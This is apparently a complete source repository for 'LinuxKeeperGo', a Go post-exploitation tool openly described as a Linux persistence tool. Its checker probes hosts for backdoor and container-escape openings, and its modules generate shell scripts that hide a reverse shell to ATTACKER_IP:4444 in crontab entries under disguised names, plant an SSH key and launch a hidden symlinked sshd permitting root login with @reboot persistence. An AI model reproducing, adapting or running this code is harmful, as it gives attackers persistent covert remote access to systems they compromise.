├── .idea ├── .gitignore ├── LinuxKeeperGo.iml ├── modules.xml └── vcs.xml ├── README.md ├── cmd └── main.go ├── go.mod ├── internal ├── checker │ └── checker.go ├── core │ └── generator │ │ └── generator.go ├── modules │ ├── crontab │ │ └── crontab.go │ ├── ssh │ │ └── ssh.go │ ├── types.go │ └── user │ │ └── user.go └── utils │ ├── banner.go │ └── shell.go └── pngs └── ssh.png /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/LinuxKeeperGo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LinuxKeeperGo 2 | 3 | Advanced 4 | Linux Persistence Tool written in Go. 5 | 6 | ## Features 7 | 8 | - System environment detection 9 | - Multiple persistence methods 10 | - Automated payload generation 11 | - Support for various Linux distributions 12 | 13 | ## Installation 14 | 15 | ```bash 16 | git clone https://github.com/10cks/LinuxKeeperGo 17 | cd LinuxKeeperGo 18 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -a -trimpath -ldflags '-w -s -extldflags "-static"' -o LinuxKeeperGo ./cmd/main.go 19 | ``` 20 | 21 | ## Usage 22 | 23 | ```bash 24 | _ _ _ __ ____ 25 | | | (_)_ __ _ ___ _| |/ /___ ___ _ __ ___ _ / ___| ___ 26 | | | | | '_ \| | | \ \/ / ' // _ \/ _ \ '_ \ / _ \ | | _ / _ \ 27 | | |___| | | | | |_| |> <| . \ __/ __/ |_) | __/ | |_| | (_) | 28 | |_____|_|_| |_|\__,_/_/\_\_|\_\___|\___| .__/ \___| \____|\___/ 29 | |_| 30 | 31 | [*] Linux Persistence Tool - Written in Go 32 | [*] Author: 10cks 33 | [*] Github: https://github.com/10cks/LinuxKeeperGo 34 | [*] Version: 1.0.0 35 | 36 | [*] System Check Results: 37 | ---------------->Privilege<----------------- 38 | uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(netdev),1001(docker) 39 | ----------->Backdoor Check<------------- 40 | OpenSSH后门[只测试过 Ubuntu 14 版本成功] 41 | [x] SSH后门用户 42 | [√] Alerts后门 43 | 计划任务后门 44 | [x] /etc/crontab 45 | [√] /var/spool/cron/ubuntu 46 | [√] /var/spool/cron/crontabs 47 | [x] SSH软链接后门 48 | [如果是root权限,可以直接SSH软链接模块运行开启] 49 | [√] SSH公私密钥后门 50 | 没有权限修改sshd_config文件 51 | [√] Strace后门 52 | [x] Rootkit后门 53 | 计划任务&SSH软链接后门 54 | [x] /etc/crontab 55 | [√] /var/spool/cron/ubuntu 56 | [√] /var/spool/cron/crontabs 57 | 计划任务&SSH Key后门 58 | [x] /etc/crontab 59 | [√] /var/spool/cron/ubuntu 60 | [√] /var/spool/cron/crontabs 61 | [x] /etc/ssh/sshd_config 62 | ------------------->Env<-------------------- 63 | [x] PHP 64 | [x] Kubernetes 65 | [x] Rust 66 | [√] C++ 67 | [x] Python2 68 | [√] Python3 69 | [x] Java 70 | [√] Docker 71 | 72 | 73 | Usage: 74 | -m Select and execute a module 75 | -c <1|2> Show module information 76 | -l List all available modules 77 | -h Show this help message 78 | ``` 79 | 80 | ## Current Modules 81 | 82 | [1] [root] SSH Backdoor - Create SSH backdoor with custom port 83 | 84 | [2] [user/root] Crontab Backdoor - Create persistent crontab backdoor 85 | 86 | ## Demo 87 | 88 | ### ssh module 89 | 90 | ![ssh.png](./pngs/ssh.png) 91 | 92 | ## 参考项目: 93 | 94 | https://github.com/RuoJi6/HackerPermKeeper -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "os" 8 | 9 | "github.com/10cks/LinuxKeeperGo/internal/checker" 10 | "github.com/10cks/LinuxKeeperGo/internal/core/generator" 11 | "github.com/10cks/LinuxKeeperGo/internal/modules" 12 | "github.com/10cks/LinuxKeeperGo/internal/utils" 13 | ) 14 | 15 | func main() { 16 | var ( 17 | moduleFlag = flag.Int("m", 0, "Select module number") 18 | checkFlag = flag.Int("c", 0, "Check system information (1: basic, 2: detailed)") 19 | listFlag = flag.Bool("l", false, "List all available modules") 20 | helpFlag = flag.Bool("h", false, "Show help information") 21 | ) 22 | flag.Parse() 23 | 24 | utils.ShowBanner() 25 | 26 | if *helpFlag { 27 | showHelp() 28 | os.Exit(0) 29 | } 30 | 31 | if *listFlag { 32 | listModules() 33 | os.Exit(0) 34 | } 35 | 36 | // 运行系统检查 37 | if result := checker.Start(); result != nil { 38 | fmt.Println("\n[*] System Check Results:") 39 | fmt.Println(string(result)) 40 | } 41 | 42 | // 处理模块选择 43 | switch { 44 | case *checkFlag > 0: 45 | showModuleInfo(*checkFlag) 46 | case *moduleFlag > 0: 47 | if err := executeModule(*moduleFlag); err != nil { 48 | log.Fatalf("[x] Module execution failed: %v", err) 49 | } 50 | default: 51 | showHelp() 52 | } 53 | } 54 | 55 | func showHelp() { 56 | fmt.Println("\nUsage:") 57 | fmt.Println(" -m Select and execute a module") 58 | fmt.Println(" -c <1|2> Show module information") 59 | fmt.Println(" -l List all available modules") 60 | fmt.Println(" -h Show this help message") 61 | } 62 | 63 | func listModules() { 64 | fmt.Println("\nAvailable Modules:") 65 | for id, module := range modules.AvailableModules { 66 | fmt.Printf("[%d] %s - %s\n", id, module.Name, module.Description) 67 | } 68 | } 69 | 70 | func showModuleInfo(level int) { 71 | fmt.Println("\nModule Information:") 72 | for id, module := range modules.AvailableModules { 73 | if level == 1 { 74 | fmt.Printf("[%d] %s - %s\n", id, module.Name, module.Description) 75 | } else { 76 | fmt.Printf("\n[Module %d]\n", id) 77 | fmt.Printf("Name: %s\n", module.Name) 78 | fmt.Printf("Description: %s\n", module.Description) 79 | fmt.Printf("Required Privileges: %s\n", module.RequiredPrivs) 80 | fmt.Printf("Supported Systems: %v\n", module.SupportedSystems) 81 | fmt.Printf("Risk Level: %s\n", module.RiskLevel) 82 | } 83 | } 84 | } 85 | 86 | func executeModule(moduleID int) error { 87 | if !utils.CheckRoot() { 88 | return fmt.Errorf("root privileges required") 89 | } 90 | 91 | gen := generator.NewGenerator() 92 | if err := gen.Generate(moduleID); err != nil { 93 | return fmt.Errorf("failed to generate payload: %v", err) 94 | } 95 | 96 | fmt.Printf("\n[+] Payload generated successfully!") 97 | fmt.Printf("\n[+] Check the 'payloads' directory for your files") 98 | fmt.Printf("\n[+] Run '*_backdoor.sh' in 'payloads' directory\n") 99 | return nil 100 | } 101 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/10cks/LinuxKeeperGo 2 | 3 | go 1.23.0 4 | -------------------------------------------------------------------------------- /internal/checker/checker.go: -------------------------------------------------------------------------------- 1 | package checker 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "os" 7 | "os/exec" 8 | "os/user" 9 | "path/filepath" 10 | "strings" 11 | ) 12 | 13 | func ml(command string) string { 14 | cmd := exec.Command("sh", "-c", command) 15 | output, err := cmd.CombinedOutput() 16 | if err != nil { 17 | return "" 18 | } 19 | return strings.TrimSpace(string(output)) 20 | } 21 | 22 | func printResult(buffer *bytes.Buffer, check string, result bool) { 23 | if result { 24 | buffer.WriteString(fmt.Sprintf("[√] %s\n", check)) 25 | } else { 26 | buffer.WriteString(fmt.Sprintf("[x] %s\n", check)) 27 | } 28 | } 29 | 30 | func checkAlerts(buffer *bytes.Buffer) { 31 | _, err := exec.Command("sh", "-c", "alias").Output() 32 | printResult(buffer, "Alerts后门", err == nil) 33 | } 34 | 35 | func checkSSHKey(buffer *bytes.Buffer) { 36 | currentUser, err := user.Current() 37 | if err != nil { 38 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err)) 39 | return 40 | } 41 | 42 | var filePath string 43 | if currentUser.Username == "root" { 44 | filePath = "/root/.ssh/authorized_keys" 45 | } else { 46 | filePath = filepath.Join("/home", currentUser.Username, ".ssh/authorized_keys") 47 | } 48 | 49 | _, err = os.Stat(filePath) 50 | printResult(buffer, "SSH公私密钥后门", err == nil) 51 | 52 | sshdConfigPath := "/etc/ssh/sshd_config" 53 | if _, err := os.Stat(sshdConfigPath); err == nil { 54 | if isWritable(sshdConfigPath) { 55 | buffer.WriteString(" 可以修改sshd_config配置文件\n") 56 | } else { 57 | buffer.WriteString(" 没有权限修改sshd_config文件\n") 58 | } 59 | } else { 60 | buffer.WriteString(" sshd_config配置文件文件不存在\n") 61 | } 62 | } 63 | 64 | func isWritable(path string) bool { 65 | file, err := os.OpenFile(path, os.O_WRONLY, 0666) 66 | if err != nil { 67 | if os.IsPermission(err) { 68 | return false 69 | } 70 | } 71 | file.Close() 72 | return true 73 | } 74 | 75 | func checkAddUser(buffer *bytes.Buffer) { 76 | buffer.WriteString("----------->Backdoor Check<-------------\n") 77 | buffer.WriteString("OpenSSH后门[只测试过 Ubuntu 14 版本成功]\n") 78 | currentUser, err := user.Current() 79 | if err != nil { 80 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err)) 81 | return 82 | } 83 | 84 | printResult(buffer, "SSH后门用户", currentUser.Gid == "0") 85 | } 86 | 87 | func checkCrontab(buffer *bytes.Buffer) { 88 | currentUser, err := user.Current() 89 | if err != nil { 90 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err)) 91 | return 92 | } 93 | 94 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username) 95 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs"} 96 | 97 | buffer.WriteString("计划任务后门\n") 98 | for _, cronFile := range cronFiles { 99 | if isWritable(cronFile) { 100 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile)) 101 | } else { 102 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile)) 103 | } 104 | } 105 | } 106 | 107 | func checkStrace(buffer *bytes.Buffer) { 108 | output := ml("strace -V") 109 | printResult(buffer, "Strace后门", strings.Contains(output, "strace -- version")) 110 | } 111 | 112 | func checkSSHSoftLink(buffer *bytes.Buffer) { 113 | sshConfig := ml("cat /etc/ssh/sshd_config|grep UsePAM") 114 | currentUser := ml("whoami") 115 | 116 | hasSSHSoftLink := strings.Contains(sshConfig, "UsePAM yes") && strings.Contains(currentUser, "root") 117 | printResult(buffer, "SSH软链接后门", hasSSHSoftLink) 118 | if !hasSSHSoftLink { 119 | buffer.WriteString(" [如果是root权限,可以直接SSH软链接模块运行开启]\n") 120 | } 121 | } 122 | 123 | func checkRootkit(buffer *bytes.Buffer) { 124 | kernelVersion := ml("uname -r") 125 | osInfo := ml("cat /etc/os-release") 126 | 127 | minKernelVersion := map[string]string{ 128 | "Centos 6.10": "2.6.32-754.6.3.el6.x86_64", 129 | "Centos 7": "3.10.0-862.3.2.el7.x86_64", 130 | "Centos 8": "4.18.0-147.5.1.el8_1.x86_64", 131 | "Ubuntu 18.04.1 LTS": "4.15.0-38-generic", 132 | } 133 | 134 | maxKernelVersion := map[string]string{ 135 | "Centos 6.10": "2.6.32", 136 | "Centos 7": "3.10.0", 137 | "Centos 8": "4.18.0", 138 | "Ubuntu 18.04.1 LTS": "4.15.0", 139 | } 140 | 141 | hasRootkit := false 142 | for osName, minVersion := range minKernelVersion { 143 | if strings.Contains(osInfo, osName) { 144 | maxVersion := maxKernelVersion[osName] 145 | if kernelVersion >= minVersion && kernelVersion <= maxVersion { 146 | hasRootkit = true 147 | break 148 | } 149 | } 150 | } 151 | 152 | printResult(buffer, "Rootkit后门", hasRootkit) 153 | if hasRootkit { 154 | buffer.WriteString(" https://github.com/f0rb1dd3n/Reptile/\n") 155 | } 156 | } 157 | 158 | func sshSoftLinkCrontab(buffer *bytes.Buffer) { 159 | currentUser, err := user.Current() 160 | if err != nil { 161 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err)) 162 | return 163 | } 164 | 165 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username) 166 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs"} 167 | 168 | buffer.WriteString("计划任务&SSH软链接后门\n") 169 | for _, cronFile := range cronFiles { 170 | if isWritable(cronFile) { 171 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile)) 172 | } else { 173 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile)) 174 | } 175 | } 176 | } 177 | 178 | func sshCrontabSSHKey(buffer *bytes.Buffer) { 179 | currentUser, err := user.Current() 180 | if err != nil { 181 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err)) 182 | return 183 | } 184 | 185 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username) 186 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs", "/etc/ssh/sshd_config"} 187 | 188 | buffer.WriteString("计划任务&SSH Key后门\n") 189 | for _, cronFile := range cronFiles { 190 | if isWritable(cronFile) { 191 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile)) 192 | } else { 193 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile)) 194 | } 195 | } 196 | } 197 | 198 | func dockerK8s(buffer *bytes.Buffer) { 199 | cgroupContent, err := os.ReadFile("/proc/1/cgroup") 200 | if err != nil { 201 | buffer.WriteString(fmt.Sprintf("Error reading cgroup file: %v\n", err)) 202 | return 203 | } 204 | 205 | if strings.Contains(string(cgroupContent), "kubepods") { 206 | buffer.WriteString("----------------->container<---------------\n") 207 | buffer.WriteString("{kubepods k8s}\n") 208 | dockerK8sEsc(buffer) 209 | } else if strings.Contains(string(cgroupContent), "docker") { 210 | buffer.WriteString("----------------->container<---------------\n") 211 | buffer.WriteString("{docker}\n") 212 | dockerK8sEsc(buffer) 213 | } 214 | } 215 | 216 | func dockerK8sEsc(buffer *bytes.Buffer) { 217 | capEff := ml("cat /proc/self/status | grep CapEff") 218 | printResult(buffer, "Docker特权逃逸", strings.Contains(capEff, "0000001fffffffff")) 219 | 220 | _, err := os.Stat("/var/run/docker.sock") 221 | printResult(buffer, "Docker Socket逃逸", err == nil) 222 | 223 | corePatterPath := ml("find / -name core_pattern") 224 | hasProcfsEscape := strings.Contains(corePatterPath, "/host/proc/sys/kernel/core_pattern") && 225 | strings.Contains(corePatterPath, "/proc/sys/kernel/core_pattern") 226 | printResult(buffer, "Docker procfs逃逸", hasProcfsEscape) 227 | } 228 | 229 | func checkUser(buffer *bytes.Buffer) { 230 | buffer.WriteString("---------------->Privilege<-----------------\n") 231 | cmd := exec.Command("id") 232 | output, err := cmd.Output() 233 | if err != nil { 234 | buffer.WriteString(fmt.Sprintf("Error getting user information: %v\n", err)) 235 | return 236 | } 237 | buffer.WriteString(fmt.Sprintf("%s\n", strings.TrimSpace(string(output)))) 238 | } 239 | 240 | func checkPath(buffer *bytes.Buffer) { 241 | buffer.WriteString("------------------->Env<--------------------\n") 242 | languages := map[string]string{ 243 | "Python2": "python2", 244 | "Python3": "python3", 245 | "Java": "java", 246 | "Docker": "docker", 247 | "PHP": "php", 248 | "Kubernetes": "kubectl", 249 | "Rust": "rustc", 250 | "C++": "g++", 251 | } 252 | 253 | for langName, langCmd := range languages { 254 | _, err := exec.LookPath(langCmd) 255 | printResult(buffer, langName, err == nil) 256 | } 257 | } 258 | 259 | func Start() []byte { 260 | var buffer bytes.Buffer 261 | 262 | checkUser(&buffer) 263 | checkAddUser(&buffer) 264 | checkAlerts(&buffer) 265 | checkCrontab(&buffer) 266 | checkSSHSoftLink(&buffer) 267 | checkSSHKey(&buffer) 268 | checkStrace(&buffer) 269 | checkRootkit(&buffer) 270 | sshSoftLinkCrontab(&buffer) 271 | sshCrontabSSHKey(&buffer) 272 | dockerK8s(&buffer) 273 | checkPath(&buffer) 274 | 275 | return buffer.Bytes() 276 | } 277 | 278 | func main() { 279 | result := Start() 280 | fmt.Println(string(result)) 281 | } 282 | -------------------------------------------------------------------------------- /internal/core/generator/generator.go: -------------------------------------------------------------------------------- 1 | package generator 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | "text/template" 8 | "time" 9 | 10 | "github.com/10cks/LinuxKeeperGo/internal/modules" 11 | "github.com/10cks/LinuxKeeperGo/internal/modules/crontab" 12 | "github.com/10cks/LinuxKeeperGo/internal/modules/ssh" 13 | ) 14 | 15 | type Generator struct { 16 | OutputDir string 17 | Timestamp string 18 | } 19 | 20 | func NewGenerator() *Generator { 21 | return &Generator{ 22 | OutputDir: "payloads", 23 | Timestamp: time.Now().Format("20060102_150405"), 24 | } 25 | } 26 | 27 | func (g *Generator) Generate(moduleID int) error { 28 | module, exists := modules.AvailableModules[moduleID] 29 | if !exists { 30 | return fmt.Errorf("invalid module ID: %d", moduleID) 31 | } 32 | 33 | // 创建输出目录 34 | outDir := filepath.Join(g.OutputDir, fmt.Sprintf("%d_%s_%s", moduleID, module.Name, g.Timestamp)) 35 | if err := os.MkdirAll(outDir, 0755); err != nil { 36 | return fmt.Errorf("failed to create output directory: %v", err) 37 | } 38 | 39 | // 根据模块类型生成payload 40 | switch moduleID { 41 | case 1: 42 | backdoor, err := ssh.NewSSHBackdoor() 43 | if err != nil { 44 | return fmt.Errorf("failed to create SSH backdoor: %v", err) 45 | } 46 | return backdoor.GeneratePayload(outDir) 47 | case 2: 48 | return crontab.NewCrontabBackdoor().GeneratePayload(outDir) 49 | default: 50 | return fmt.Errorf("unsupported module ID: %d", moduleID) 51 | } 52 | } 53 | 54 | func (g *Generator) writeFile(filepath string, content string, data interface{}) error { 55 | tmpl, err := template.New("payload").Parse(content) 56 | if err != nil { 57 | return fmt.Errorf("failed to parse template: %v", err) 58 | } 59 | 60 | f, err := os.Create(filepath) 61 | if err != nil { 62 | return fmt.Errorf("failed to create file: %v", err) 63 | } 64 | defer f.Close() 65 | 66 | if err := tmpl.Execute(f, data); err != nil { 67 | return fmt.Errorf("failed to execute template: %v", err) 68 | } 69 | 70 | return os.Chmod(filepath, 0755) 71 | } 72 | -------------------------------------------------------------------------------- /internal/modules/crontab/crontab.go: -------------------------------------------------------------------------------- 1 | package crontab 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | "text/template" 8 | "time" 9 | ) 10 | 11 | type CrontabBackdoor struct { 12 | Schedule string 13 | Command string 14 | BackupPath string 15 | } 16 | 17 | func NewCrontabBackdoor() *CrontabBackdoor { 18 | return &CrontabBackdoor{ 19 | Schedule: "*/5 * * * *", 20 | Command: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", 21 | BackupPath: "/tmp/.backup", 22 | } 23 | } 24 | 25 | func (c *CrontabBackdoor) GeneratePayload(outDir string) error { 26 | mainScript := `#!/bin/bash 27 | # Crontab Backdoor Generator 28 | # Generated at: {{.Timestamp}} 29 | 30 | # 配置信息 31 | ATTACKER_IP="YOUR_IP" 32 | ATTACKER_PORT="4444" 33 | SCHEDULE="*/5 * * * *" 34 | 35 | # 创建反弹shell命令 36 | SHELL_CMD="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" 37 | 38 | # 创建隐藏目录和后门文件 39 | HIDE_DIR="/var/tmp/.system" 40 | BACKDOOR_SCRIPT="$HIDE_DIR/.update.sh" 41 | mkdir -p $HIDE_DIR 42 | 43 | # 创建后门脚本 44 | cat > $BACKDOOR_SCRIPT << 'EOL' 45 | #!/bin/bash 46 | bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 47 | EOL 48 | 49 | chmod +x $BACKDOOR_SCRIPT 50 | 51 | # 添加到多个位置实现持久化 52 | echo "$SCHEDULE root $BACKDOOR_SCRIPT" >> /etc/crontab 53 | echo "$SCHEDULE root $BACKDOOR_SCRIPT" >> /etc/cron.d/system-update 54 | (crontab -l 2>/dev/null; echo "$SCHEDULE $BACKDOOR_SCRIPT") | crontab - 55 | 56 | # 重启cron服务 57 | service cron reload 2>/dev/null || service crond reload 2>/dev/null 58 | 59 | echo "[+] Crontab后门安装完成" 60 | echo "[+] 反弹Shell将每5分钟连接到 $ATTACKER_IP:$ATTACKER_PORT" 61 | echo "[+] 在攻击机器上运行以下命令监听连接:" 62 | echo " nc -lvnp $ATTACKER_PORT" 63 | ` 64 | 65 | scriptPath := filepath.Join(outDir, "crontab_backdoor.sh") 66 | return c.writeFile(scriptPath, mainScript, struct { 67 | Timestamp string 68 | Schedule string 69 | Command string 70 | BackupPath string 71 | }{ 72 | Timestamp: time.Now().Format("2006-01-02 15:04:05"), 73 | Schedule: c.Schedule, 74 | Command: c.Command, 75 | BackupPath: c.BackupPath, 76 | }) 77 | } 78 | 79 | func (c *CrontabBackdoor) writeFile(filepath string, content string, data interface{}) error { 80 | tmpl, err := template.New("crontab").Parse(content) 81 | if err != nil { 82 | return fmt.Errorf("failed to parse template: %v", err) 83 | } 84 | 85 | f, err := os.Create(filepath) 86 | if err != nil { 87 | return fmt.Errorf("failed to create file: %v", err) 88 | } 89 | defer f.Close() 90 | 91 | if err := tmpl.Execute(f, data); err != nil { 92 | return fmt.Errorf("failed to execute template: %v", err) 93 | } 94 | 95 | return os.Chmod(filepath, 0755) 96 | } 97 | -------------------------------------------------------------------------------- /internal/modules/ssh/ssh.go: -------------------------------------------------------------------------------- 1 | package ssh 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "os" 8 | "path/filepath" 9 | "strconv" 10 | "strings" 11 | "text/template" 12 | "time" 13 | ) 14 | 15 | type SSHBackdoor struct { 16 | Port int 17 | LinkPath string 18 | KeyPath string 19 | } 20 | 21 | // 检查端口是否可用 22 | func isPortAvailable(port int) bool { 23 | ln, err := net.Listen("tcp", fmt.Sprintf(":%d", port)) 24 | if err != nil { 25 | return false 26 | } 27 | ln.Close() 28 | return true 29 | } 30 | 31 | // 获取用户输入 32 | func getUserInput(prompt string) string { 33 | reader := bufio.NewReader(os.Stdin) 34 | fmt.Print(prompt) 35 | input, _ := reader.ReadString('\n') 36 | return strings.TrimSpace(input) 37 | } 38 | 39 | func NewSSHBackdoor() (*SSHBackdoor, error) { 40 | backdoor := &SSHBackdoor{ 41 | LinkPath: "/tmp/.sshd", 42 | KeyPath: "/tmp/.ssh_key", 43 | } 44 | 45 | for { 46 | portStr := getUserInput("请输入SSH后门端口 (1024-65535): ") 47 | port, err := strconv.Atoi(portStr) 48 | if err != nil { 49 | fmt.Println("[-] 错误: 请输入有效的数字") 50 | continue 51 | } 52 | 53 | if port < 1024 || port > 65535 { 54 | fmt.Println("[-] 错误: 端口必须在1024-65535之间") 55 | continue 56 | } 57 | 58 | if !isPortAvailable(port) { 59 | fmt.Printf("[-] 错误: 端口 %d 已被占用\n", port) 60 | continue 61 | } 62 | 63 | backdoor.Port = port 64 | fmt.Printf("[+] 端口 %d 可用\n", port) 65 | break 66 | } 67 | 68 | return backdoor, nil 69 | } 70 | 71 | func (s *SSHBackdoor) GeneratePayload(outDir string) error { 72 | mainScript := `#!/bin/bash 73 | # SSH Backdoor Generator 74 | # Generated at: {{.Timestamp}} 75 | 76 | SSH_PORT={{.Port}} 77 | LINK_PATH="{{.LinkPath}}" 78 | KEY_PATH="{{.KeyPath}}" 79 | 80 | # 创建隐藏目录 81 | HIDE_DIR="/var/tmp/.system" 82 | mkdir -p $HIDE_DIR 83 | 84 | echo "[+] 生成SSH密钥对..." 85 | ssh-keygen -t ed25519 -f $KEY_PATH -N "" 2>/dev/null 86 | 87 | echo "[+] 设置.ssh目录权限..." 88 | mkdir -p ~/.ssh 89 | chmod 700 ~/.ssh 90 | ls -la ~ | grep .ssh 91 | 92 | echo "[+] 添加公钥到authorized_keys..." 93 | cat ${KEY_PATH}.pub > ~/.ssh/authorized_keys 94 | chmod 600 ~/.ssh/authorized_keys 95 | ls -la ~/.ssh/ 96 | echo "authorized_keys内容:" 97 | cat ~/.ssh/authorized_keys 98 | 99 | echo "[+] 创建sshd配置..." 100 | cat > /tmp/sshd_config << EOF 101 | Port $SSH_PORT 102 | HostKey /etc/ssh/ssh_host_rsa_key 103 | HostKey /etc/ssh/ssh_host_ecdsa_key 104 | HostKey /etc/ssh/ssh_host_ed25519_key 105 | 106 | AuthorizedKeysFile %h/.ssh/authorized_keys 107 | PubkeyAuthentication yes 108 | PasswordAuthentication yes 109 | PermitRootLogin yes 110 | StrictModes no 111 | 112 | UsePAM yes 113 | X11Forwarding yes 114 | PrintMotd no 115 | 116 | LogLevel DEBUG3 117 | 118 | AcceptEnv LANG LC_* 119 | Subsystem sftp /usr/lib/openssh/sftp-server 120 | EOF 121 | 122 | echo "[+] 验证sshd配置..." 123 | /usr/sbin/sshd -t -f /tmp/sshd_config 124 | 125 | echo "[+] 启动SSH服务..." 126 | ln -sf /usr/sbin/sshd $LINK_PATH 127 | pkill -f "$LINK_PATH -f /tmp/sshd_config" 128 | $LINK_PATH -f /tmp/sshd_config -D -E /tmp/sshd.log & 129 | 130 | # 等待服务启动 131 | sleep 2 132 | 133 | echo "[+] 验证SSH服务状态..." 134 | if ! ps aux | grep -q "$LINK_PATH"; then 135 | echo "[-] 错误: SSH服务启动失败" 136 | tail -n 20 /tmp/sshd.log 137 | exit 1 138 | fi 139 | 140 | echo "[+] 添加持久化..." 141 | echo "@reboot $LINK_PATH -f /tmp/sshd_config -D" | crontab - 142 | 143 | echo "[+] 保存并设置私钥权限..." 144 | install -m 600 $KEY_PATH ./id_ed25519 145 | ls -la ./id_ed25519 146 | 147 | echo "[+] 清理临时文件..." 148 | rm -f ${KEY_PATH}* 149 | 150 | echo "[+] SSH后门安装完成" 151 | echo "[+] 后门端口: $SSH_PORT" 152 | echo "[+] 使用方法:" 153 | echo " 1. 下载id_ed25519,使用密钥登录:" 154 | echo " ssh -i ./id_ed25519 -p $SSH_PORT root@<目标IP>" 155 | echo " 2. 使用密码登录:" 156 | echo " ssh -p $SSH_PORT root@<目标IP>" 157 | echo 158 | echo "[+] 重要提示:" 159 | echo " 确保私钥文件权限为600: chmod 600 ./id_ed25519" 160 | echo 161 | echo "[+] 调试命令:" 162 | echo " 查看sshd日志: tail -f /tmp/sshd.log" 163 | echo " 查看sshd配置: cat /tmp/sshd_config" 164 | echo " 查看公钥: cat ~/.ssh/authorized_keys" 165 | echo " 查看私钥权限: ls -la ./id_ed25519" 166 | echo " 查看进程: ps aux | grep sshd" 167 | echo 168 | echo "[+] 测试本地连接:" 169 | echo " ssh -v -i ./id_ed25519 -p $SSH_PORT -o StrictHostKeyChecking=no root@127.0.0.1" 170 | ` 171 | scriptPath := filepath.Join(outDir, "ssh_backdoor.sh") 172 | return s.writeFile(scriptPath, mainScript, struct { 173 | Timestamp string 174 | Port int 175 | LinkPath string 176 | KeyPath string 177 | }{ 178 | Timestamp: time.Now().Format("2006-01-02 15:04:05"), 179 | Port: s.Port, 180 | LinkPath: s.LinkPath, 181 | KeyPath: s.KeyPath, 182 | }) 183 | } 184 | 185 | func (s *SSHBackdoor) writeFile(filepath string, content string, data interface{}) error { 186 | tmpl, err := template.New("ssh").Parse(content) 187 | if err != nil { 188 | return fmt.Errorf("failed to parse template: %v", err) 189 | } 190 | 191 | f, err := os.Create(filepath) 192 | if err != nil { 193 | return fmt.Errorf("failed to create file: %v", err) 194 | } 195 | defer f.Close() 196 | 197 | if err := tmpl.Execute(f, data); err != nil { 198 | return fmt.Errorf("failed to execute template: %v", err) 199 | } 200 | 201 | return os.Chmod(filepath, 0755) 202 | } 203 | -------------------------------------------------------------------------------- /internal/modules/types.go: -------------------------------------------------------------------------------- 1 | package modules 2 | 3 | type Module struct { 4 | ID int 5 | Name string 6 | Description string 7 | RequiredPrivs string 8 | SupportedSystems []string 9 | RiskLevel string 10 | Execute func() error 11 | } 12 | 13 | var AvailableModules = map[int]Module{ 14 | 1: { 15 | ID: 1, 16 | Name: "SSH Backdoor", 17 | Description: "Create SSH backdoor with custom port", 18 | RequiredPrivs: "root", 19 | SupportedSystems: []string{"Ubuntu", "CentOS"}, 20 | RiskLevel: "High", 21 | }, 22 | 2: { 23 | ID: 2, 24 | Name: "Crontab Backdoor", 25 | Description: "Create persistent crontab backdoor", 26 | RequiredPrivs: "root", 27 | SupportedSystems: []string{"Ubuntu", "CentOS"}, 28 | RiskLevel: "Medium", 29 | }, 30 | } 31 | -------------------------------------------------------------------------------- /internal/modules/user/user.go: -------------------------------------------------------------------------------- 1 | package user 2 | -------------------------------------------------------------------------------- /internal/utils/banner.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | const Banner = ` 4 | _ _ _ __ ____ 5 | | | (_)_ __ _ ___ _| |/ /___ ___ _ __ ___ _ / ___| ___ 6 | | | | | '_ \| | | \ \/ / ' // _ \/ _ \ '_ \ / _ \ | | _ / _ \ 7 | | |___| | | | | |_| |> <| . \ __/ __/ |_) | __/ | |_| | (_) | 8 | |_____|_|_| |_|\__,_/_/\_\_|\_\___|\___| .__/ \___| \____|\___/ 9 | |_| 10 | 11 | [*] Linux Persistence Tool - Written in Go 12 | [*] Author: 10cks 13 | [*] Github: https://github.com/10cks/LinuxKeeperGo 14 | [*] Version: 1.0.0 15 | ` 16 | 17 | func ShowBanner() { 18 | println(Banner) 19 | 